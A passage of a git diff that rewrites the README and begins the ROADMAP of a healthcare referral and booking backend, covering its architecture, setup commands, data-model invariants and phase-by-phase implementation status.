tests/unit/ per-module unit tests - tests/integration/ booking/referral/order-issuance flows (correctness-critical) -docs/ - adr/ Architecture decision records - api/ API documentation (generated once routes exist) - site/ VitePress docs site for the whole org β€” content synced - at build time, never hand-edited (see docs/site/README.md) -infra/docker/ Local dev infra (Postgres, etc.) β€” not yet written, see ROADMAP.md Phase 1 -scripts/ One-off/dev scripts -.github/ CI workflow, issue/PR templates -``` - -## Documentation - -Read in this order β€” `ARCHITECTURE_ESSENTIALS.md` exists specifically so you don't have to load the full architecture doc for a small task: - -| Doc | Purpose | -|---|---| -| [`PRD.md`](PRD.md) | What we're building, for whom, and why β€” personas, user flows, functional requirements, explicit non-goals, and a running list of "what would break / edge cases / overengineered" hard questions. | -| [`ARCHITECTURE_ESSENTIALS.md`](ARCHITECTURE_ESSENTIALS.md) | Fast-reference: stack, hard rules, data-model map, known unresolved design gaps, overengineering guardrails. | -| [`ARCHITECTURE.md`](ARCHITECTURE.md) | Full reasoning: tech stack rationale, module boundaries, complete data models, key flows, architecture-level hard questions. | -| [`ROADMAP.md`](ROADMAP.md) | Phased plan and current status β€” updated on every contribution that touches roadmap-tracked work. | -| [`AGENTS.md`](AGENTS.md) / [`CLAUDE.md`](CLAUDE.md) | Rules for coding agents (human- or AI-directed) working in this repo. | -| `docs/adr/` | Architecture decision records β€” [0001](docs/adr/0001-modular-monolith.md) (modular monolith over microservices), [0002](docs/adr/0002-stellar-escrow-for-fulfillment-payout.md) (Stellar escrow as a consumed library; the 3-repo org split). | - -## Getting started - -Needs a Postgres instance β€” either `infra/docker/docker-compose.yml` -(**written but not exercised in this environment** β€” no Docker available -where this was built; developed and tested against a local Postgres via -the `embedded-postgres` devDependency instead, see below) or your own. - -```bash -git clone https://github.com/DocForum/docforum-core.git -cd docforum-core/backend -npm install -cp .env.example .env # fill in DATABASE_URL, JWT_ACCESS_SECRET, JWT_REFRESH_SECRET, - # and FIELD_ENCRYPTION_KEY_V1 (base64, 32 bytes β€” closes - # consultations encrypt their notes; see scripts/README.md) -npx prisma migrate deploy # applies backend/prisma/migrations/ -npm run dev # β†’ http://localhost:4000, GET /health to check -``` - -| Command | What it does | -|---|---| -| `npm run dev` | `tsx watch` dev server | -| `npm run build` | Typecheck + compile to `dist/` | -| `npm start` | Run the compiled `dist/server.js` | -| `npm test` | Unit tests only (no DB needed) | -| `npm run test:integration` | The booking-concurrency test β€” **spins up its own throwaway Postgres** (via `embedded-postgres`, a prebuilt binary) on port 5433, so this needs no pre-existing DB either | -| `npm run test:all` | Everything | - -All of the above are real and verified: signup β†’ doctor verification β†’ -slot generation β†’ booking β†’ the concurrency guarantee, all exercised -end-to-end (manually via curl and automatically in -`backend/tests/integration/booking.test.mts`). API reference: -[`docs/api/README.md`](docs/api/README.md). - -## Project status - -**Phase 0 (foundations & scaffolding): done. Phase 1 (identity, DB, and -the safe-booking foundation): built and tested** β€” auth, doctor -verification, availability/slot generation, and the booking-concurrency -guarantee are real, not aspirational (see Getting started above). One -item is unverified: the Docker Compose file for local dev exists but -wasn't exercisable in this environment. **Phase 3 (referrals): the core -is built and tested** β€” referral model with an immutable notes snapshot, -patient accept/decline producing a real pre-populated appointment through -the same slot-claim path, no-show/cancellation cascade, loop detection -with a hop limit, multi-referral bundles from one consultation, and an -admin queue with audited reassign/cancel, and specialty-only referrals -routed at creation to the least-loaded eligible doctor (issue #6, -`docs/adr/0008-referral-routing-without-target-doctor.md`). Still open -within Phase 3: a time-based expiry job (issue #8). Phase 2 is in -progress alongside it: the `Consultation` record and its close-once -guarantee (issue #4) are done, and the appointment lifecycle -(completed/cancelled/no_show) exists as Phase 3's prerequisite; intake, -the doctor's today view and specialty discovery are still ahead. - -Full phase breakdown: [`ROADMAP.md`](ROADMAP.md). - -## Contributing - -This repo is deliberately structured into small, independent units so -contributors can pick up one piece without being blocked by another (see -`AGENTS.md` "Working style"). Every contribution that touches -roadmap-tracked work **must** update `ROADMAP.md` in the same change β€” see -`AGENTS.md` for the full documentation-contribution rules, including when a -change requires an ADR. - -Questions, or want to talk through an issue before picking it up? Join the -DocForum contributor chat on [Telegram](https://t.me/+J9eZoFker_E4Y2M8). - -## License - -[Apache License 2.0](LICENSE) +# docforum-core + +![License](https://img.shields.io/badge/license-Apache--2.0-blue.svg) +![Status](https://img.shields.io/badge/status-Phase%203%20in%20progress-yellow.svg) +![Stack](https://img.shields.io/badge/stack-Node.js%20%2B%20TypeScript-339933.svg) + +**The backend of DocForum** β€” a platform that collapses a multi-visit, +multi-queue hospital journey into one continuous digital thread. A patient +searches for a doctor, books a slot, gets referred to the right specialist +without re-explaining themselves, receives a prescription or lab order, and +gets it fulfilled at a qualified partner facility β€” all tracked end to end. + +This is the **hub repository** of the `DocForum` GitHub organization: it +owns the product definition (PRD), the full system architecture, the data +model, and the master roadmap that the other two repos are scoped against. + +**πŸ“– [Browse the docs site](https://docforum.github.io/docforum-core/)** β€” +PRD, architecture, ADRs, API reference, and every repo's roadmap in one +place, synced at build time from each repo's own files (see +[`docs/site/`](docs/site)). + +--- + +## Table of contents + +- [Organization layout](#organization-layout) +- [Tech stack](#tech-stack) +- [Domain model, at a glance](#domain-model-at-a-glance) +- [Backend modules](#backend-modules) +- [Repo layout](#repo-layout) +- [Documentation](#documentation) +- [Getting started](#getting-started) +- [Project status](#project-status) +- [Contributing](#contributing) +- [License](#license) + +## Organization layout + +`DocForum` is split across three independently-versioned repositories. +This repo is the only one with direct database and PHI (protected health +information) access; the other two are deliberately narrow. + +```mermaid +flowchart LR + subgraph docforum-web["docforum-web (frontend)"] + UI["React + Vite client"] + end + subgraph docforum-core["docforum-core (this repo)"] + API["Modular-monolith API"] + DB[("PostgreSQL\n(Prisma)")] + API --- DB + end + subgraph docforum-escrow["docforum-escrow"] + Contract["Soroban escrow contract"] + SDK["@docforum/escrow-sdk"] + SDK --- Contract + end + + UI -->|HTTPS API calls only| API + API -->|imports SDK as a library,\nnever a network call| SDK +``` + +- **[`docforum-web`](https://github.com/DocForum/docforum-web)** β€” React/TypeScript frontend. Talks only to this repo's API; never calls `docforum-escrow` or Stellar directly. +- **[`docforum-escrow`](https://github.com/DocForum/docforum-escrow)** β€” Rust/Soroban escrow contract + `@docforum/escrow-sdk`. Consumed here as a *library dependency* by the `payments` module, never called as a running network service β€” see [`docs/adr/0002-stellar-escrow-for-fulfillment-payout.md`](docs/adr/0002-stellar-escrow-for-fulfillment-payout.md). + +Why the split, and why it doesn't contradict "modular monolith, not +microservices" (`ARCHITECTURE.md` Β§1): see +[`docs/adr/0001-modular-monolith.md`](docs/adr/0001-modular-monolith.md) and +[`docs/adr/0002-stellar-escrow-for-fulfillment-payout.md`](docs/adr/0002-stellar-escrow-for-fulfillment-payout.md). + +## Tech stack + +| Layer | Choice | +|---|---| +| Runtime / language | Node.js + TypeScript | +| API framework | Express (or Fastify) | +| Database | PostgreSQL | +| ORM / schema | Prisma (`backend/prisma/schema.prisma` is the source of truth) | +| Auth | JWT access + refresh tokens, role claims (`patient` \| `doctor` \| `facility` \| `admin`) | +| Jobs | Simple cron/interval β€” no queue until a real job needs one | +| Payments | Stellar escrow via `@docforum/escrow-sdk` (see `docforum-escrow`), never custom payment rails | + +Full rationale for every choice: [`ARCHITECTURE.md` Β§2](ARCHITECTURE.md#2-tech-stack). + +## Domain model, at a glance + +``` +User ─┬─ PatientProfile + β”œβ”€ DoctorProfile ──< DoctorSpecialty >── Specialty + └─ FacilityProfile ──< FacilityCapability + +AvailabilitySlot (doctor's calendar) β†’ Appointment β†’ IntakeForm, Consultation +Consultation ──(outcome = referred)──▢ Referral (immutable snapshot!) β†’ new Appointment +Referral ──▢ AuditEvent (append-only admin actions) +Consultation β†’ Prescription (+ PrescriptionItem) / LabOrder (+ LabResult) +FulfillmentRecord (facility-owned) references an order but never mutates it +PaymentIntent / WalletLink β€” relational metadata only; contract logic lives in docforum-escrow +``` + +Full field-level schema: [`ARCHITECTURE.md` Β§4](ARCHITECTURE.md#4-data-models) and [`backend/prisma/schema.prisma`](backend/prisma/schema.prisma) (the two must never drift β€” schema wins if they do). + +**Non-negotiable invariants**, enforced at the architecture level, not just by convention: +- A `Prescription` or `LabOrder` is never mutated after issuance β€” corrections create a new row via `supersedes_*_id`. +- Availability booking uses a DB-level conditional update/transaction β€” never an app-level "check then write" (double-booking is the #1 predicted bug class). +- A `Referral` snapshots intake + consultation notes at creation time β€” it never reads live from the source `Consultation`. +- A facility writes only to its own `FulfillmentRecord`; it never touches `Prescription.status` / `LabOrder.status` directly. + +## Backend modules + +Each module owns its own `routes/ controllers/ services/ repositories/` and is only ever accessed by other modules through its service interface (`backend/src/modules//`): + +`auth` Β· `users` Β· `patients` Β· `doctors` Β· `facilities` Β· `availability` Β· `appointments` Β· `consultations` Β· `referrals` Β· `prescriptions` Β· `lab-orders` Β· `pharmacy-orders` Β· `payments` Β· `notifications` + +`payments` is the only module allowed to import `@docforum/escrow-sdk`. + +## Repo layout + +``` +backend/ + prisma/schema.prisma Data model β€” source of truth + src/modules// routes/ controllers/ services/ repositories/ per module + src/middleware/ auth, error handling + src/config/ environment/config loading + tests/unit/ per-module unit tests + tests/integration/ booking/referral/order-issuance flows (correctness-critical) +docs/ + adr/ Architecture decision records + api/ API documentation (generated once routes exist) + site/ VitePress docs site for the whole org β€” content synced + at build time, never hand-edited (see docs/site/README.md) +infra/docker/ Local dev infra (Postgres, etc.) β€” not yet written, see ROADMAP.md Phase 1 +scripts/ One-off/dev scripts +.github/ CI workflow, issue/PR templates +``` + +## Documentation + +Read in this order β€” `ARCHITECTURE_ESSENTIALS.md` exists specifically so you don't have to load the full architecture doc for a small task: + +| Doc | Purpose | +|---|---| +| [`PRD.md`](PRD.md) | What we're building, for whom, and why β€” personas, user flows, functional requirements, explicit non-goals, and a running list of "what would break / edge cases / overengineered" hard questions. | +| [`ARCHITECTURE_ESSENTIALS.md`](ARCHITECTURE_ESSENTIALS.md) | Fast-reference: stack, hard rules, data-model map, known unresolved design gaps, overengineering guardrails. | +| [`ARCHITECTURE.md`](ARCHITECTURE.md) | Full reasoning: tech stack rationale, module boundaries, complete data models, key flows, architecture-level hard questions. | +| [`ROADMAP.md`](ROADMAP.md) | Phased plan and current status β€” updated on every contribution that touches roadmap-tracked work. | +| [`AGENTS.md`](AGENTS.md) / [`CLAUDE.md`](CLAUDE.md) | Rules for coding agents (human- or AI-directed) working in this repo. | +| `docs/adr/` | Architecture decision records β€” [0001](docs/adr/0001-modular-monolith.md) (modular monolith over microservices), [0002](docs/adr/0002-stellar-escrow-for-fulfillment-payout.md) (Stellar escrow as a consumed library; the 3-repo org split). | + +## Getting started + +Needs a Postgres instance β€” either `infra/docker/docker-compose.yml` +(**written but not exercised in this environment** β€” no Docker available +where this was built; developed and tested against a local Postgres via +the `embedded-postgres` devDependency instead, see below) or your own. + +```bash +git clone https://github.com/DocForum/docforum-core.git +cd docforum-core/backend +npm install +cp .env.example .env # fill in DATABASE_URL, JWT_ACCESS_SECRET, JWT_REFRESH_SECRET, + # and FIELD_ENCRYPTION_KEY_V1 (base64, 32 bytes β€” closes + # consultations encrypt their notes; see scripts/README.md) +npx prisma migrate deploy # applies backend/prisma/migrations/ +npm run dev # β†’ http://localhost:4000, GET /health to check +``` + +| Command | What it does | +|---|---| +| `npm run dev` | `tsx watch` dev server | +| `npm run build` | Typecheck + compile to `dist/` | +| `npm start` | Run the compiled `dist/server.js` | +| `npm test` | Unit tests only (no DB needed) | +| `npm run test:integration` | The booking-concurrency test β€” **spins up its own throwaway Postgres** (via `embedded-postgres`, a prebuilt binary) on port 5433, so this needs no pre-existing DB either | +| `npm run test:all` | Everything | + +All of the above are real and verified: signup β†’ doctor verification β†’ +slot generation β†’ booking β†’ the concurrency guarantee, all exercised +end-to-end (manually via curl and automatically in +`backend/tests/integration/booking.test.mts`). API reference: +[`docs/api/README.md`](docs/api/README.md). + +## Project status + +**Phase 0 (foundations & scaffolding): done. Phase 1 (identity, DB, and +the safe-booking foundation): built and tested** β€” auth, doctor +verification, availability/slot generation, and the booking-concurrency +guarantee are real, not aspirational (see Getting started above). One +item is unverified: the Docker Compose file for local dev exists but +wasn't exercisable in this environment. **Phase 3 (referrals): the core +is built and tested** β€” referral model with an immutable notes snapshot, +patient accept/decline producing a real pre-populated appointment through +the same slot-claim path, no-show/cancellation cascade, loop detection +with a hop limit, multi-referral bundles from one consultation, and an +admin queue with audited reassign/cancel, and specialty-only referrals +routed at creation to the least-loaded eligible doctor (issue #6, +`docs/adr/0008-referral-routing-without-target-doctor.md`). Still open +within Phase 3: a time-based expiry job (issue #8). Phase 2 is in +progress alongside it: the `Consultation` record and its close-once +guarantee (issue #4) are done, and the appointment lifecycle +(completed/cancelled/no_show) exists as Phase 3's prerequisite; intake, +the doctor's today view and specialty discovery are still ahead. + +Full phase breakdown: [`ROADMAP.md`](ROADMAP.md). + +## Contributing + +This repo is deliberately structured into small, independent units so +contributors can pick up one piece without being blocked by another (see +`AGENTS.md` "Working style"). Every contribution that touches +roadmap-tracked work **must** update `ROADMAP.md` in the same change β€” see +`AGENTS.md` for the full documentation-contribution rules, including when a +change requires an ADR. + +Questions, or want to talk through an issue before picking it up? Join the +DocForum contributor chat on [Telegram](https://t.me/+J9eZoFker_E4Y2M8). + +## License + +[Apache License 2.0](LICENSE) diff --git a/ROADMAP.md b/ROADMAP.md index dfadfdbb..bb26261c 100644 --- a/ROADMAP.md +++ b/ROADMAP.md @@ -1,555 +1,559 @@ -# ROADMAP.md β€” DocForum - -Status: Phase 0, Phase 1, and Phase 5.5 (Payments, custodial v1 β€” see -`docs/adr/0004-custodial-payments-v1.md`) built and tested. Phase 3 -(Referrals) is **in progress**: #5, #7 and #65–#68 implemented and -tested on branch `feat/referral-phase3-cascade-multi-loop-admin`, #6 and -#8 open. Phase 2 is partially unblocked by that work (#3/#4 minimal -slices). Phases 2-6 and 8-9 otherwise scoped into GitHub issues -(#1-#22, #21 closed); Phase 7 is superseded by `docforum-web`'s own -roadmap. Phase 9's end-to-end care-thread integration test is in progress -(scaffold + phase-gated steps). See each phase section below for status -and issue links. - -> **Org note:** this repo (`docforum-core`) is the hub of a 3-repo `DocForum` org. Frontend work is tracked in `docforum-web`'s own roadmap. Stellar contract/SDK work is tracked in `docforum-escrow`'s own roadmap. This file tracks only what runs inside `docforum-core` β€” including the `payments` module, which *consumes* `docforum-escrow`'s published package but doesn't implement contract logic itself. - -> **This file must be updated by every contribution that starts, completes, or blocks any item below.** No exceptions β€” see `AGENTS.md` / `CLAUDE.md`. If your PR doesn't touch this file and it touched roadmap-tracked work, the PR is incomplete. - -## How to read this file -- Phases are meant to be worked **mostly in order** (each depends on Phase 0/1 being real), but **within a phase, items are designed to be independent** β€” see the per-phase GitHub issue breakdown (tracked separately once issues are created; this roadmap defines the work, issues execute it). -- Status values: `Not started`, `In progress`, `Blocked (reason)`, `Done`. -- Every phase must end with its docs (PRD/ARCHITECTURE/ARCHITECTURE_ESSENTIALS) reconciled β€” a phase isn't "Done" if the docs still describe the pre-phase state. - ---- - -## Phase 0 β€” Foundations & scaffolding -**Status: Done** -- [x] PRD.md -- [x] ARCHITECTURE.md -- [x] ARCHITECTURE_ESSENTIALS.md -- [x] AGENTS.md / CLAUDE.md -- [x] Repo folder structure (backend modules, frontend, docs, infra, .github) -- [x] Prisma schema skeleton (models named, fields mostly TODO) -- [x] This ROADMAP.md - -## Phase 1 β€” Identity, DB, and safe booking foundation -**Status: Built and tested. One item (Docker Compose) written but not verified running β€” see note.** -**Why first:** everything else depends on real users existing and on the booking concurrency guarantee (ARCHITECTURE.md Β§5.1) being real, not aspirational. - -- [x] Flesh out `User`, `PatientProfile`, `DoctorProfile`, `FacilityProfile`, `Specialty`, `DoctorSpecialty`, `FacilityCapability` in `schema.prisma` with real fields/relations. Migrated: `backend/prisma/migrations/20260914110638_init/`. -- [ ] Local dev DB via Docker Compose (`infra/docker`) β€” **file written, not exercised.** Verification tracked as [issue #27](https://github.com/DocForum/docforum-core/issues/27) (Trivial, 100 pts). No Docker in the environment this was built in, so the backend was developed and tested against a locally-installed Postgres (via the `embedded-postgres` devDependency β€” a prebuilt binary, not compiled) instead. The compose file matches `backend/.env.example`'s credentials but hasn't itself been run. See `infra/docker/README.md`. -- [x] Auth module: signup/login, JWT access+refresh, role middleware. `POST /auth/signup` rejects `role: 'facility'`/`'admin'` server-side (PRD OQ-2), not just in docforum-web's UI. Refresh token travels as an httpOnly cookie β€” see `docs/api/README.md` for the local-dev-only cookie caveat (cross-origin `sameSite`/`secure` not verified end-to-end). -- [x] Doctor verification status workflow (admin-gated, manual in v1 per PRD Β§6.1 FR-3). `PATCH /doctors/:id/verification`, admin-only. -- [x] `AvailabilitySlot` model finalized **with the DB-level constraint/transaction strategy** that prevents double-booking (ARCHITECTURE.md Β§5.1 / Β§6.1.1 β€” this is the single highest-priority correctness item in the whole roadmap). **Resolved, not just implemented** β€” see the integration test below. -- [x] Basic slot generation for a doctor (fixed-length, no recurrence engine β€” ARCHITECTURE.md Β§6.3.6). `POST /availability/doctors/:id/slots/generate`, idempotent re-runs. -- [x] Integration test: two concurrent booking attempts on the same slot β€” exactly one must succeed. `backend/tests/integration/booking.test.mts` β€” 8 genuinely concurrent requests via `Promise.all`, self-contained (spins up its own throwaway Postgres, no pre-existing DB needed), passing. Also manually verified end-to-end via a full curl walkthrough (signup β†’ generate slots β†’ book β†’ second booking attempt correctly gets `409`). -- [x] Doc reconciliation: PRD Β§8.1.1 and ARCHITECTURE Β§6.1.1 marked resolved in place. - -## Phase 2 β€” Intake, appointments, consultations -**Status: In progress β€” #3, #4 and #23 done; intake (#1/#2) not started. Scoped into issues #1–#4 and #23.** -- [ ] `IntakeForm` model + structured symptom entry (not free-text-only, per PRD FR-5). Tracked as [issue #1](https://github.com/DocForum/docforum-core/issues/1) (Medium, 150 pts). -- [ ] Booking flow requires intake before confirmation. Tracked as [issue #2](https://github.com/DocForum/docforum-core/issues/2) (Medium, 150 pts) β€” depends on #1. -- [x] `Appointment` lifecycle (`scheduled β†’ completed/cancelled/no_show`) + doctor's today view. Tracked as [issue #3](https://github.com/DocForum/docforum-core/issues/3) (Medium, 150 pts) β€” lifecycle transitions were already implemented; this change adds `GET /appointments/doctor/today`, limited to the caller's doctor profile and scheduled appointments for the server-local day. Admin-on-behalf transitions remain out of scope. -- [x] `Consultation` record + outcome (`resolved | referred | follow_up_needed`). Tracked as [issue #4](https://github.com/DocForum/docforum-core/issues/4) (High, 200 pts) β€” **Done.** One writer (`consultationsService.createConsultation`) reached from three addresses β€” `POST /consultations` (Phase 3's slice), `POST /appointments/:id/consultation` (this issue's close route) and the orders flow's consultation step β€” all doctor-only, own- and `completed`-appointment-only, all requiring a verified email. `Consultation.appointmentId` `UNIQUE` is what makes "closed once" a DB constraint rather than app logic (`P2002` β†’ `409`); notes are stored encrypted (issue #46) and decrypted on read; every write carries one `consultation.closed` audit event in the same transaction. The column/unique index/FK already exist from `20261020000000_order_payment_intents`, so this PR adds no migration. No amendment/edit path in v1 β€” that stays an open question for when amendment work lands (docs/adr/0009). Integration test: `backend/tests/integration/consultation.test.mts` (scheduled β†’ `409`, closed once, second close `409` via either address, one row, decrypted read for doctor + patient, other-doctor read `403` / close `404`, patient close `403`). **Verification note:** the checked-in integration suites cannot run in this sandbox (embedded Postgres `initdb` is refused); they run in CI on the merge. -- [x] Doctor discovery: `GET /specialties`, `PUT /doctors/me/specialties`, and public verified-only `GET /doctors` with specialty, typo-tolerant name/specialty search, and keyset pagination. Tracked as [issue #23](https://github.com/DocForum/docforum-core/issues/23) and extended by [issue #128](https://github.com/DocForum/docforum-core/issues/128). `docforum-web` issue #1 can fetch slot details separately by doctor id. -- [ ] Patient-facing view: my intake history. Not yet split into its own issue β€” small enough to fold into whichever of the above lands last, or split out later if it grows. - -## Phase 3 β€” Referrals -**Status: In progress β€” issues #5, #7 and #65–#68 are implemented and tested (unit + 5 self-contained integration suites); #6 (routing ADR) and #8 (time-based expiry job) remain open. Original scope was #5–#8; #65–#68 were opened later against the same phase for loop detection, multi-referral, cascade and admin overrides.** -- [x] `Referral` model with **immutable snapshot** of intake + notes (ARCHITECTURE.md Β§4.4 design note β€” do not implement as a live pointer), plus the "zero verified doctors in target specialty" edge case (PRD Β§8.2.2). Tracked as [issue #5](https://github.com/DocForum/docforum-core/issues/5) (Medium, 150 pts) β€” **done with two flagged deviations for review**: (a) `snapshot_notes` is a real copy written in the creation transaction and unreachable by any consultation-edit path, but `snapshotIntakeId` has no column because `IntakeForm` doesn't exist yet (issue #1) β€” the intake half of the snapshot is not yet enforceable; (b) the zero-verified-doctors case is **unreachable by construction** rather than surfaced as the distinct "waiting for a specialist" state the DoD asked for β€” v1 requires a concrete verified `target_doctor_id` (see #6 below). Creation is an explicit `POST /referrals` from a consultation rather than an implicit trigger on outcome `referred`; the outcome still records intent and the API enforces a completed appointment. -- [x] Referral creation from a `Consultation` with outcome `referred` β€” folded into issue #5 above. -- [x] Routing rule for referrals with no specific `target_doctor_id` (ARCHITECTURE.md Β§6.1.2 β€” resolved by ADR 0008, below). Tracked as [issue #6](https://github.com/DocForum/docforum-core/issues/6) (High, 200 pts) β€” an ADR. **Done, and the gap is closed:** [`docs/adr/0008-referral-routing-without-target-doctor.md`](docs/adr/0008-referral-routing-without-target-doctor.md) decides that a specialty-only referral is routed **at creation** to the least-loaded eligible doctor (verified, holds the specialty, not the referring doctor, active account; fewest `pending`+`accepted` referrals, ties by doctor id), keeping `target_doctor_id` NOT NULL so an unassigned referral still cannot exist. Zero eligible doctors fails the creation with `422 REFERRAL_NO_ELIGIBLE_TARGET` and writes no row. Implementation: `referrals/routing.ts` + the eligible-candidate lookup in `doctors/services`, wired into creation and the atomic batch (a batch never routes onto a doctor it names explicitly). Still not built, deliberately: PRD Β§8.2.2's patient-facing "waiting for a specialist" state (it needs a nullable target, which the ADR rejects) β€” flagged, not silently substituted. -- [x] Patient accept/decline flow (PRD OQ-3 resolved: patient must confirm). Tracked as [issue #7](https://github.com/DocForum/docforum-core/issues/7) (Medium, 150 pts) β€” depends on #5. **Done:** `POST /referrals/:id/accept` (conditional `pending β†’ accepted`, one winner under concurrency) and `POST /referrals/:id/decline` (pending-only, terminal). -- [x] Accepted referral auto-generates a pre-populated `Appointment` against the target doctor/specialty β€” patient does not re-enter intake (PRD FR-8, the core value prop) β€” folded into issue #7 above. **Done:** accept books through `appointments`' `bookForReferral` β†’ the same `claimOpenSlot` conditional UPDATE as a direct booking (`origin: 'referral'`), with the slot belonging to the target doctor enforced; no shortcut writes an `Appointment` row. -- [x] Referral expiry job (addresses PRD Β§8.1.3 "orphaned" pattern for referrals specifically). Tracked as [issue #8](https://github.com/DocForum/docforum-core/issues/8) (Medium, 150 pts) β€” depends on #5. **Done:** an interval sweep (`src/jobs/referral-expiry.ts`, no queue) expires `pending` referrals untouched for `REFERRAL_PENDING_TTL_DAYS` (default 14) via one conditional UPDATE; `expired` + `expiredReason = 'ttl'` is distinct from `declined`/`cancelled`, and the no-show cascade now records `no_show`. `accepted` referrals are never swept. Flagging the patient waits on Phase 6 notifications (the referring doctor's `referringDoctorNotifiedAt` seam is set). -- [x] Referral loop detection + max-hop limit (PRD Β§8.1.2). Tracked as [issue #65](https://github.com/DocForum/docforum-core/issues/65) (High, 200 pts). **Done:** lineage via `parent_referral_id`, bounded CTE walk, strict rule (repeat doctor/specialty anywhere in the chain β€” including the GP return β€” flags for the admin queue), hard `422` on self-referral and on chains over `REFERRAL_MAX_HOPS` (default 4). -- [x] Multiple simultaneous referrals from one consultation (PRD Β§8.2.4). Tracked as [issue #66](https://github.com/DocForum/docforum-core/issues/66) (High, 200 pts). **Done, including its ADR:** [`docs/adr/0006-multiple-referrals-per-consultation.md`](docs/adr/0006-multiple-referrals-per-consultation.md) records the decision (allowed; independent lifecycles, atomic all-or-none creation, grouped only for the patient view; no bundle table). Implementation: one snapshot copy per target, duplicate-specialty/doctor rejection, independent per-referral acceptance, patient list grouped by source consultation. -- [x] Cascade rules when a referral-origin appointment is cancelled or no-shows (PRD Β§8.2.3). Tracked as [issue #67](https://github.com/DocForum/docforum-core/issues/67) (High, 200 pts). **Done:** run inside the appointment's status transaction; cancelled β†’ referral back to `pending` with the slot released, first no-show β†’ `pending` + `noShowCount`, second β†’ `expired` + `referringDoctorNotifiedAt` (threshold is a v1 default, not a tuned value); all writes conditional so a doubled hook no-ops. -- [x] Admin referral operations: queue, reassign stuck referrals, override routing, audited. Tracked as [issue #68](https://github.com/DocForum/docforum-core/issues/68) (Medium, 150 pts). **Done:** `GET /referrals/admin/queue` (status / `olderThan` / `loopFlagged` filters, derived reason + age), `POST /referrals/admin/:id/reassign` (pending only, target column only β€” snapshot untouched), `POST /referrals/admin/:id/cancel` (closes a live appointment through the appointments service), `GET /referrals/admin/:id/audit-events`; reassign/cancel write the first `AuditEvent` rows (new table β€” ARCHITECTURE.md Β§4.10). -- [x] Doc reconciliation: ARCHITECTURE.md Β§4.2/Β§4.3/Β§4.4/Β§4.10/Β§5.2/Β§6, ARCHITECTURE_ESSENTIALS.md data model map + known gaps, PRD Β§8.1.2/Β§8.1.3/Β§8.1.4/Β§8.2.1–§8.2.4, `docs/api/README.md`. Done in this change β€” #6's ADR is *not* part of it and the gap is deliberately left noted. - -## Phase 4 β€” Orders: prescriptions & lab orders -**Status: Partially implemented (issue #76: facility-side fulfillment proof, patient confirm/dispute, unconfirmed order expiry, admin dispute queue implemented and tested).** -- [ ] `Prescription` + `PrescriptionItem` models, **append-only** (issuance creates a row; corrections use `supersedes_prescription_id` β€” ARCHITECTURE.md Β§4.5, hard rule in ARCHITECTURE_ESSENTIALS.md). Tracked as [issue #9](https://github.com/DocForum/docforum-core/issues/9) (High, 200 pts), which also covers `LabOrder`/`LabResult` (same append-only rule). -- [ ] `LabOrder` + `LabResult` models, same append-only rule β€” folded into issue #9 above. -- [ ] Specialist UI: issue prescription/lab order from a consultation. Tracked as [issue #10](https://github.com/DocForum/docforum-core/issues/10) (Medium, 150 pts) β€” depends on #9. -- [ ] Patient UI: view active/past orders. Tracked as [issue #11](https://github.com/DocForum/docforum-core/issues/11) (Medium, 150 pts) β€” depends on #9. -- [x] Facility fulfillment proof & patient confirmation/dispute workflow. Tracked as issue #76. Facility fulfillment requires reference number and optional attachment. Patient confirm-receipt/dispute are mutually exclusive via DB conditional update. Derived `confirmedSignal` boolean. Idempotent expiry job for unconfirmed orders. Admin dispute queue and append-only resolution logs. - -## Phase 5 β€” Facilities & fulfillment -**Status: Not started (blocked by Phase 4). Scoped into issues #13–#16.** -- [x] Resolve the polymorphic `FulfillmentRecord` design smell flagged in ARCHITECTURE.md Β§6.1.3 **before** building this phase β€” decide: keep polymorphic with constraints, or split into `PrescriptionFulfillment` / `LabOrderFulfillment`. Record the decision as an ADR in `docs/adr/`. Tracked as [issue #13](https://github.com/DocForum/docforum-core/issues/13) (High, 200 pts) β€” the prerequisite for the rest of this phase. **Done β€” decision: one table, no polymorphism** (`docs/adr/0012-fulfillment-record-typed-order-fks.md`): `order_type`/`order_id` are replaced by real `prescription_id`/`lab_order_id` FKs (each `UNIQUE`, a PostgreSQL `CHECK` requires exactly one β€” the mechanism `PaymentIntent` got in #85) plus the `facility_id` FK Β§4.7 left as a TODO, all three `RESTRICT`. Splitting was weighed and rejected: two tables mean two implementations of the Β§5.3 step-5 transition and a cross-table union for a facility's queue. Schema + migration landed; no code reads the row yet β€” #14 creates it, #15 owns the transition, #16 attaches `LabResult` through its existing table. -- [x] Facility account creation (admin-invited only per PRD OQ-2 β€” no self-serve facility signup in v1) + `FacilityCapability` matching (patient sees only qualified facilities for their specific order, PRD FR-13). Tracked as [issue #14](https://github.com/DocForum/docforum-core/issues/14) (Medium, 150 pts) β€” depends on #13. **Done β€”** admin-only `POST /facilities` (User + profile + capabilities + `facility.created` audit row, one transaction; `POST /auth/signup` still refuses the role) and fail-closed capability matching in `GET /facilities/eligible` + `listEligibleFacilitiesForOrderKind`: facilities missing/mismatching capability data show for nothing. ADR 0012's "`#14 creates the row at selection`" is **not** in this issue β€” no selection endpoint exists yet; the `FulfillmentRecord` write and the `β†’ fulfilled` transition land with #15. See `changelog.d/14-facility-creation-capability-matching.md`. -- [ ] Facility fulfillment UI: view assigned orders, mark in-progress/fulfilled/rejected, enforcing that `status` transitions to `fulfilled` **only** via the facility-confirmed path (ARCHITECTURE.md Β§5.3 step 5 β€” patient/doctor cannot self-mark). Tracked as [issue #15](https://github.com/DocForum/docforum-core/issues/15) (Medium, 150 pts) β€” depends on #13/#14. -- [ ] Lab result attachment (object storage integration β€” ARCHITECTURE.md Β§2 File/result storage row). Tracked as [issue #16](https://github.com/DocForum/docforum-core/issues/16) (Medium, 150 pts) β€” depends on #13. -- [ ] Address PRD Β§8.1.6 (facility fulfillment integrity) β€” at minimum, restrict which facilities can be selected to the curated/admin-invited list; document what's still unresolved if full anti-fraud isn't in scope for v1 β€” addressed by issue #14's admin-only gating; document any remaining gap in that issue's PR. - -## Phase 5.5 β€” Payments (consumer side) -**Status: Payment order linkage, automatic intent issuance, configuration hardening, and platform signer abstraction are implemented; fulfillment-triggered release remains pending.** See docs/adr/0004-custodial-payments-v1.md. Verified against **live testnet**, not mocked β€” `npm run test:integration:payments-testnet` (3/3 passing): fundβ†’release, fundβ†’refund, and reject-when-no-wallet-linked. -- [x] `PaymentIntent` + `WalletLink` models finalized (relational metadata only β€” no PHI). `WalletLink` scoped to the **facility** (payee), not the patient β€” see ADR 0004. Amount is the asset's smallest unit (`BigInt`), with `assetCode` + `tokenContractId` per intent after #79 (native XLM plus an allowlisted USDC), not the originally-scaffolded `Decimal`+implicit `"USDC"`. -- [x] Added `@docforum/escrow-sdk` 